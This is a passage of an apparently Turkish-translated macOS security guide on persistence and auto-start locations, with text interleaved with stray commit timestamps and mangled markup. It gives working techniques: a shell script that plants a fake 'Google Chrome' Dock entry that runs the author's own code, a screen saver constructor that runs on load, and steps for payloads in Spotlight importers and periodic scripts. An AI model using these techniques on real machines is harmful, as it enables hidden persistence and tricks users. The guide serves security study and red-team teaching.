Sonra, `Folder Actions Setup` uygulaması nı açı n, **izlemek istediğiniz klasörü seçin** ve sizin durumunuzda ** `folder.scpt` **'yi seçin (benim durumumda buna output2.scp adı nı verdim):
2023-09-28 15:09:34 +00:00
2024-05-05 22:43:52 +00:00
< figure > < img src = "../.gitbook/assets/image (39).png" alt = "" width = "297" > < figcaption > < / figcaption > < / figure >
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Şimdi, eğer o klasörü **Finder** ile açarsanı z, betiğiniz çalı ştı rı lacaktı r.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Bu yapı landı rma, base64 formatı nda ** `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist` ** konumunda saklanmı ştı r.
2023-09-28 15:09:34 +00:00
2024-05-05 22:43:52 +00:00
Şimdi, GUI erişimi olmadan bu kalı cı lı ğı hazı rlamayı deneyelim:
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
1. ** `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist` **'yi yedeklemek için `/tmp` 'ye kopyalayı n:
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
2024-02-13 00:51:21 +00:00
2. Şimdi, ayarladı ğı nı z Klasör Eylemlerini **kaldı rı n** :
2023-09-28 15:09:34 +00:00
2024-05-05 22:43:52 +00:00
< figure > < img src = "../.gitbook/assets/image (40).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Şimdi boş bir ortama sahip olduğumuza göre
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
3. Yedek dosyası nı kopyalayı n: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
2024-02-13 00:51:21 +00:00
4. Bu yapı landı rmayı tüketmek için Folder Actions Setup.app'ı açı n: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
2023-09-28 15:09:34 +00:00
{% hint style="danger" %}
2024-02-13 00:51:21 +00:00
Ve bu benim için çalı şmadı , ama bunlar yazı dan talimatlar:(
2023-09-28 15:09:34 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
### Dock kı sayolları
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Yazı : [https://theevilbit.github.io/beyond/beyond\_0027/ ](https://theevilbit.github.io/beyond/beyond\_0027/ )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-05-05 22:43:52 +00:00
* Ancak kötü niyetli bir uygulamayı sisteme kurmanı z gerekmektedir
2024-02-10 18:14:16 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
* `~/Library/Preferences/com.apple.dock.plist`
2024-02-13 00:51:21 +00:00
* **Tetikleyici**: Kullanı cı dock içindeki uygulamaya tı kladı ğı nda
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
Dock'ta görünen tüm uygulamalar, plist içinde belirtilmiştir: ** `~/Library/Preferences/com.apple.dock.plist` **
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
Sadece şu şekilde **bir uygulama eklemek** mümkündür:
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '< dict > < key > tile-data< / key > < dict > < key > file-data< / key > < dict > < key > _CFURLString< / key > < string > /System/Applications/Books.app< / string > < key > _CFURLStringType< / key > < integer > 0< / integer > < / dict > < / dict > < / dict > '
# Restart Dock
killall Dock
```
{% endcode %}
2024-07-17 18:36:54 +00:00
Bazı **sosyal mühendislik** kullanarak örneğin Dock içinde **Google Chrome gibi taklit edebilir** ve aslı nda kendi betiğinizi çalı ştı rabilirsiniz:
2023-09-28 21:12:41 +00:00
```bash
#!/bin/sh
# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
# Info.plist
cat < < EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
< !DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-10 18:14:16 +00:00
< key > CFBundleExecutable< / key >
< string > Google Chrome< / string >
< key > CFBundleIdentifier< / key >
< string > com.google.Chrome< / string >
< key > CFBundleName< / key >
< string > Google Chrome< / string >
< key > CFBundleVersion< / key >
< string > 1.0< / string >
< key > CFBundleShortVersionString< / key >
< string > 1.0< / string >
< key > CFBundleInfoDictionaryVersion< / key >
< string > 6.0< / string >
< key > CFBundlePackageType< / key >
< string > APPL< / string >
< key > CFBundleIconFile< / key >
< string > app< / string >
2023-09-28 21:12:41 +00:00
< / dict >
< / plist >
EOF
# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '< dict > < key > tile-data< / key > < dict > < key > file-data< / key > < dict > < key > _CFURLString< / key > < string > /tmp/Google Chrome.app< / string > < key > _CFURLStringType< / key > < integer > 0< / integer > < / dict > < / dict > < / dict > '
killall Dock
```
2024-02-13 00:51:21 +00:00
### Renk Seçiciler
2023-09-28 21:12:41 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0017 ](https://theevilbit.github.io/beyond/beyond\_0017/ )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
2024-02-23 16:46:32 +00:00
* Çok belirli bir eylem gerçekleşmesi gerekiyor
2024-02-10 18:14:16 +00:00
* Başka bir kum havuzunda sonlanacaksı nı z
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2024-01-10 00:59:55 +00:00
* `/Library/ColorPickers`
2024-05-05 22:43:52 +00:00
* Kök izni gereklidir
2024-02-13 00:51:21 +00:00
* Tetikleyici: Renk seçicisini kullanı n
2023-09-28 15:09:34 +00:00
* `~/Library/ColorPickers`
2024-02-13 00:51:21 +00:00
* Tetikleyici: Renk seçicisini kullanı n
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
Kodunuzla birlikte bir renk seçici paketini derleyin (örneğin [**bu örneği kullanabilirsiniz** ](https://github.com/viktorstrate/color-picker-plus )) ve bir yapı landı rı cı ekleyin ([Ekran Koruyucu bölümündeki gibi](macos-auto-start-locations.md#screen-saver)) ve paketi `~/Library/ColorPickers` dizinine kopyalayı n.
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
Sonra, renk seçicisi tetiklendiğinde sizin kodunuz da tetiklenmelidir.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Kütüphanenizi yükleyen ikili dosyanı n **çok kı sı tlayı cı bir kum havuzu** olduğunu unutmayı n: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
2024-05-05 22:43:52 +00:00
{% code overflow="wrap" %}
2023-09-28 15:09:34 +00:00
```bash
[Key] com.apple.security.temporary-exception.sbpl
2024-02-10 18:14:16 +00:00
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))
2023-06-01 21:09:46 +00:00
```
2023-09-28 15:09:34 +00:00
{% endcode %}
2024-02-10 18:14:16 +00:00
### Finder Senkronizasyon Eklentileri
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
**Açı klama**: [https://theevilbit.github.io/beyond/beyond\_0026/ ](https://theevilbit.github.io/beyond/beyond\_0026/ )\
**Açı klama**: [https://objective-see.org/blog/blog\_0x11.html ](https://objective-see.org/blog/blog\_0x11.html )
2023-09-28 15:09:34 +00:00
2024-05-05 22:43:52 +00:00
* Kum havuzunu atlamak için kullanı şlı mı : **Hayı r, çünkü kendi uygulamanı zı yürütmeniz gerekir**
2024-07-17 18:36:54 +00:00
* TCC atlaması : ???
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Belirli bir uygulama
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
#### Açı klama ve Sömürü
2023-06-01 21:09:46 +00:00
2024-05-05 22:43:52 +00:00
Bir Finder Senkronizasyon Uzantı sı örneği olan bir uygulama [**burada bulunabilir** ](https://github.com/D00MFist/InSync ).
2023-06-01 21:09:46 +00:00
2024-07-17 18:36:54 +00:00
Uygulamalar `Finder Senkronizasyon Uzantı ları ` na sahip olabilir. Bu uzantı , yürütülecek bir uygulamanı n içine gidecektir. Dahası , uzantı nı n kodunu yürütebilmesi için **bazı geçerli Apple geliştirici sertifikaları yla imzalanmı ş olması gerekir** , **kum havuzunda olmalı dı r** (rahatlatı lmı ş istisnalar eklenmiş olabilir) ve şöyle bir şeyle kaydedilmiş olmalı dı r:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
2023-06-01 21:09:46 +00:00
```
2024-02-10 18:14:16 +00:00
### Ekran Koruyucu
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0016/ ](https://theevilbit.github.io/beyond/beyond\_0016/ )\
2024-07-17 18:36:54 +00:00
Açı klama: [https://posts.specterops.io/saving-your-access-d562bf5bf90b ](https://posts.specterops.io/saving-your-access-d562bf5bf90b )
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
* Kum havuzunu atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
2024-04-07 03:13:19 +00:00
* Ancak genel bir uygulama kum havuzunda sona ereceksiniz
2024-02-23 16:46:32 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2024-01-10 00:59:55 +00:00
* `/System/Library/Screen Savers`
2024-07-17 18:36:54 +00:00
* Root gerekli
2024-03-17 16:37:08 +00:00
* **Tetikleyici**: Ekran koruyucusunu seçin
2023-09-28 15:09:34 +00:00
* `/Library/Screen Savers`
2024-07-17 18:36:54 +00:00
* Root gerekli
2024-03-17 16:37:08 +00:00
* **Tetikleyici**: Ekran koruyucusunu seçin
2023-09-28 15:09:34 +00:00
* `~/Library/Screen Savers`
2024-03-17 16:37:08 +00:00
* **Tetikleyici**: Ekran koruyucusunu seçin
2023-09-28 15:09:34 +00:00
2024-05-05 22:43:52 +00:00
< figure > < img src = "../.gitbook/assets/image (38).png" alt = "" width = "375" > < figcaption > < / figcaption > < / figure >
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
#### Açı klama ve Sı zma
2023-09-28 15:09:34 +00:00
2024-05-05 22:43:52 +00:00
Xcode'da yeni bir proje oluşturun ve yeni bir **Ekran Koruyucu** oluşturmak için şablonu seçin. Ardı ndan, örneğin aşağı daki kodu kullanarak günlükler oluşturmak için kodunuzu ekleyin.
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
**Derleyin** ve `.saver` paketini ** `~/Library/Screen Savers` ** dizinine kopyalayı n. Ardı ndan, Ekran Koruyucu GUI'yi açı n ve üzerine tı kladı ğı nı zda birçok günlük oluşturması gerektiğini göreceksiniz:
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'
Timestamp (process)[PID]
2023-09-27 22:55:39.622369+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char ** )
2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]
```
{% endcode %}
{% hint style="danger" %}
2024-07-17 18:36:54 +00:00
Bu kodu yükleyen ikili dosyanı n ayrı calı kları içinde (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) ** `com.apple.security.app-sandbox` ** bulunduğundan dolayı **ortak uygulama kum havuzunun içinde olacaksı nı z** .
2023-09-28 15:09:34 +00:00
{% endhint %}
2024-07-17 18:36:54 +00:00
Saver kodu:
2023-09-28 15:09:34 +00:00
```objectivec
//
// ScreenSaverExampleView.m
// ScreenSaverExample
//
// Created by Carlos Polop on 27/9/23.
//
#import "ScreenSaverExampleView.h"
@implementation ScreenSaverExampleView
- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
2023-09-28 15:09:34 +00:00
}
- (void)startAnimation
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super startAnimation];
2023-09-28 15:09:34 +00:00
}
- (void)stopAnimation
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super stopAnimation];
2023-09-28 15:09:34 +00:00
}
- (void)drawRect:(NSRect)rect
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super drawRect:rect];
2023-09-28 15:09:34 +00:00
}
- (void)animateOneFrame
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return;
2023-09-28 15:09:34 +00:00
}
- (BOOL)hasConfigureSheet
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return NO;
2023-09-28 15:09:34 +00:00
}
- (NSWindow*)configureSheet
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return nil;
2023-09-28 15:09:34 +00:00
}
__attribute__((constructor))
void custom(int argc, const char **argv) {
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
2023-09-28 15:09:34 +00:00
}
@end
```
2024-02-10 18:14:16 +00:00
### Spotlight Eklentileri
2023-09-28 15:09:34 +00:00
2024-03-29 21:18:23 +00:00
açı klama: [https://theevilbit.github.io/beyond/beyond\_0011/ ](https://theevilbit.github.io/beyond/beyond\_0011/ )
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
2024-07-17 18:36:54 +00:00
* Ancak uygulama kum havuzunda sona ereceksiniz
2024-03-17 16:37:08 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2024-02-10 18:14:16 +00:00
* Kum havuzu çok sı nı rlı görünüyor
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-10-01 18:04:16 +00:00
2024-02-13 00:51:21 +00:00
* `~/Kütüphane/Spotlight/`
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Spotlight eklentisi tarafı ndan yönetilen bir uzantı ya sahip yeni bir dosya oluşturulduğunda.
2024-02-13 00:51:21 +00:00
* `/Kütüphane/Spotlight/`
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Spotlight eklentisi tarafı ndan yönetilen bir uzantı ya sahip yeni bir dosya oluşturulduğunda.
2024-07-17 18:36:54 +00:00
* Kök izni gereklidir
2024-02-13 00:51:21 +00:00
* `/Sistem/Kütüphane/Spotlight/`
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Spotlight eklentisi tarafı ndan yönetilen bir uzantı ya sahip yeni bir dosya oluşturulduğunda.
2024-07-17 18:36:54 +00:00
* Kök izni gereklidir
2024-02-13 00:51:21 +00:00
* `Some.app/İçerik/Kütüphane/Spotlight/`
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Spotlight eklentisi tarafı ndan yönetilen bir uzantı ya sahip yeni bir dosya oluşturulduğunda.
2024-02-13 00:51:21 +00:00
* Yeni uygulama gereklidir
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-10-01 18:04:16 +00:00
2024-02-13 00:51:21 +00:00
Spotlight, macOS'in yerleşik arama özelliğidir ve kullanı cı lara **bilgisayarları ndaki verilere hı zlı ve kapsamlı erişim** sağlamak amacı yla tasarlanmı ştı r.\
2024-04-07 03:13:19 +00:00
Bu hı zlı arama yeteneğini kolaylaştı rmak için Spotlight, **özel bir veritabanı ** tutar ve çoğu dosyayı **ayı klamak suretiyle bir dizin oluşturur** , böylece dosya adları ve içerikleri arası nda hı zlı aramalar yapı labilir.
2023-10-01 18:04:16 +00:00
2024-07-17 18:36:54 +00:00
Spotlight'ı n temel mekanizması , 'mds' adlı merkezi bir süreci içerir, bu süreç ** 'meta veri sunucusu'** anlamı na gelir. Bu süreç, Spotlight hizmetini yönetir. Buna ek olarak, farklı dosya türlerini dizinlemek gibi çeşitli bakı m görevlerini yerine getiren birden fazla 'mdworker' cinleri bulunmaktadı r (`ps -ef | grep mdworker`). Bu görevler, Spotlight içe aktarı cı eklentileri veya ** ".mdimporter paketleri**" aracı lı ğı yla mümkün hale getirilir, bu eklentiler Spotlight'ı n çeşitli dosya biçimlerindeki içeriği anlaması na ve dizinlemesine olanak tanı r.
2023-10-01 18:04:16 +00:00
2024-05-05 22:43:52 +00:00
Eklentiler veya ** `.mdimporter` ** paketleri önceden belirtilen yerlerde bulunur ve yeni bir paket göründüğünde dakikalar içinde yüklenir (herhangi bir hizmeti yeniden başlatmaya gerek yoktur). Bu paketlerin hangi **dosya türü ve uzantı ları yönetebileceğini** belirtmeleri gerekir, bu sayede Spotlight belirtilen uzantı ya sahip yeni bir dosya oluşturulduğunda onları kullanacaktı r.
2023-10-01 18:04:16 +00:00
2024-07-17 18:36:54 +00:00
Yüklenen **tüm `mdimporters`** 'ları bulmak mümkündür:
2023-10-01 18:04:16 +00:00
```bash
mdimport -L
Paths: id(501) (
2024-02-10 18:14:16 +00:00
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]
2023-10-01 18:04:16 +00:00
```
2024-07-17 18:36:54 +00:00
Ve örneğin ** /Library/Spotlight/iBooksAuthor.mdimporter** bu tür dosyaları işlemek için kullanı lı r (uzantı lar `.iba` ve `.book` dahil diğerleri):
2023-10-01 18:04:16 +00:00
```json
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...]
"CFBundleDocumentTypes" => [
2024-02-10 18:14:16 +00:00
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
2023-10-01 18:04:16 +00:00
[...]
2024-02-10 18:14:16 +00:00
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
2023-10-01 18:04:16 +00:00
[...]
```
{% hint style="danger" %}
2024-05-05 22:43:52 +00:00
Başka `mdimporter` 'ı n Plist'ini kontrol ederseniz, ** `UTTypeConformsTo` ** girişini bulamayabilirsiniz. Bu, yerleşik _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) olduğu için uzantı ları belirtmeye gerek duymaz.
2023-10-01 18:04:16 +00:00
2024-07-17 18:36:54 +00:00
Ayrı ca, Sistem varsayı lan eklentileri her zaman önceliklidir, bu nedenle bir saldı rgan yalnı zca Apple'ı n kendi `mdimporters` tarafı ndan dizinlenmeyen dosyalara erişebilir.
2023-10-01 18:04:16 +00:00
{% endhint %}
2024-07-17 18:36:54 +00:00
Kendi içe aktarı cı nı zı oluşturmak için bu projeye başlayabilirsiniz: [https://github.com/megrimm/pd-spotlight-importer ](https://github.com/megrimm/pd-spotlight-importer ) ve ardı ndan adı değiştirin, ** `CFBundleDocumentTypes` **'ı değiştirin ve ** `UTImportedTypeDeclarations` ** ekleyin böylece desteklemek istediğiniz uzantı yı destekler ve bunları ** `schema.xml` ** içinde yansı tı n.\
2024-05-05 22:43:52 +00:00
Sonra ** `GetMetadataForFile` ** işlevinin kodunu değiştirin ve işlenen uzantı ya sahip bir dosya oluşturulduğunda payload'ı nı zı yürütmesini sağlayı n.
2023-10-01 18:04:16 +00:00
2024-07-17 18:36:54 +00:00
Son olarak, yeni `.mdimporter` 'ı nı zı bir önceki konumlardan birine derleyin ve kopyalayı n ve yüklendiğinde **günlükleri izleyerek** veya ** `mdimport -L` ** kontrol ederek kontrol edebilirsiniz.
2023-10-01 18:04:16 +00:00
2024-02-13 00:51:21 +00:00
### ~~Tercih Paneli~~
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="danger" %}
2024-02-10 18:14:16 +00:00
Bu artı k çalı şmı yor gibi görünmüyor.
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0009/ ](https://theevilbit.github.io/beyond/beyond\_0009/ )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
* Belirli bir kullanı cı eylemi gerektirir
2024-03-17 16:37:08 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`/System/Library/PreferencePanes`**
* **`/Library/PreferencePanes`**
* **`~/Library/PreferencePanes`**
2023-06-01 21:09:46 +00:00
2024-04-07 03:13:19 +00:00
Açı klama: Bu artı k çalı şmı yor gibi görünmüyor.
2024-03-17 16:37:08 +00:00
2024-03-29 21:18:23 +00:00
## Kök Kum Havuzu Atlatma
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="success" %}
2024-03-29 21:18:23 +00:00
Burada, **kum havuzu atlatma** için yararlı olan başlangı ç konumları nı bulabilirsiniz, bu da size **bir dosyaya yazarak** basitçe bir şeyi **kök** olarak yürütmenizi sağlar ve/veya diğer **garip koşullar gerektirir.**
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
### Periyodik
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0019/ ](https://theevilbit.github.io/beyond/beyond\_0019/ )
2023-09-26 23:39:35 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
2024-03-29 21:18:23 +00:00
* Ancak kök olmanı z gerekiyor
2024-03-17 16:37:08 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-26 23:39:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-26 23:39:35 +00:00
2023-09-28 20:05:35 +00:00
* `/etc/periodic/daily` , `/etc/periodic/weekly` , `/etc/periodic/monthly` , `/usr/local/etc/periodic`
2024-03-29 21:18:23 +00:00
* Kök gereklidir
2024-05-05 22:43:52 +00:00
* **Tetikleyici**: Zamanı geldiğinde
2024-02-10 18:14:16 +00:00
* `/etc/daily.local` , `/etc/weekly.local` veya `/etc/monthly.local`
2024-03-29 21:18:23 +00:00
* Kök gereklidir
2024-05-05 22:43:52 +00:00
* **Tetikleyici**: Zamanı geldiğinde
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
#### Açı klama ve Sömürü
Periyodik betikler (**`/etc/periodic`**), `/System/Library/LaunchDaemons/com.apple.periodic*` konfigürasyonuna sahip **başlatma hizmetleri** nedeniyle yürütülür. `/etc/periodic/` içinde depolanan betikler dosya sahibi olarak **yürütülür** , bu nedenle bu, olası bir ayrı calı k yükseltmesi için çalı şmaz.
2023-09-28 20:05:35 +00:00
```bash
# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r-- 1 root wheel 887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r-- 1 root wheel 895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r-- 1 root wheel 891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x 11 root wheel 352 May 13 00:29 daily
drwxr-xr-x 5 root wheel 160 May 13 00:29 monthly
drwxr-xr-x 3 root wheel 96 May 13 00:29 weekly
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
/etc/periodic/daily:
total 72
-rwxr-xr-x 1 root wheel 1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x 1 root wheel 695 May 13 00:29 130.clean-msgs
[...]
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
/etc/periodic/monthly:
total 24
-rwxr-xr-x 1 root wheel 888 May 13 00:29 199.rotate-fax
-rwxr-xr-x 1 root wheel 1010 May 13 00:29 200.accounting
-rwxr-xr-x 1 root wheel 606 May 13 00:29 999.local
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
/etc/periodic/weekly:
total 8
-rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local
2023-06-01 21:09:46 +00:00
```
2023-09-28 20:05:35 +00:00
{% endcode %}
2023-06-01 21:09:46 +00:00
2024-07-17 18:36:54 +00:00
**`/etc/defaults/periodic.conf`** dosyası nda yürütülecek diğer periyodik betikler bulunmaktadı r:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local" # Local scripts
weekly_local="/etc/weekly.local" # Local scripts
monthly_local="/etc/monthly.local" # Local scripts
2023-06-01 21:09:46 +00:00
```
2024-05-05 22:43:52 +00:00
Eğer `/etc/daily.local` , `/etc/weekly.local` veya `/etc/monthly.local` dosyaları ndan herhangi birini yazmayı başarı rsanı z, **er ya da geç yürütülecektir** .
2023-09-28 15:09:34 +00:00
2023-11-02 16:52:21 +00:00
{% hint style="warning" %}
2024-07-17 18:36:54 +00:00
Periyodik betiğin **betik sahibi olarak yürütüleceğini** unutmayı n. Dolayı sı yla, düzenli bir kullanı cı betiğin sahibiyse, betik o kullanı cı olarak yürütülür (bu, ayrı calı k yükseltme saldı rı ları nı engelleyebilir).
2023-11-02 16:52:21 +00:00
{% endhint %}
2023-09-28 20:05:35 +00:00
### PAM
2023-09-28 15:09:34 +00:00
2024-03-29 21:18:23 +00:00
Açı klama: [Linux Hacktricks PAM ](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md )\
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0005/ ](https://theevilbit.github.io/beyond/beyond\_0005/ )
2023-09-28 15:09:34 +00:00
2024-04-07 03:13:19 +00:00
* Kum havuzunu atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
2024-07-17 18:36:54 +00:00
* Ancak kök olmanı z gerekiyor
2024-02-23 16:46:32 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
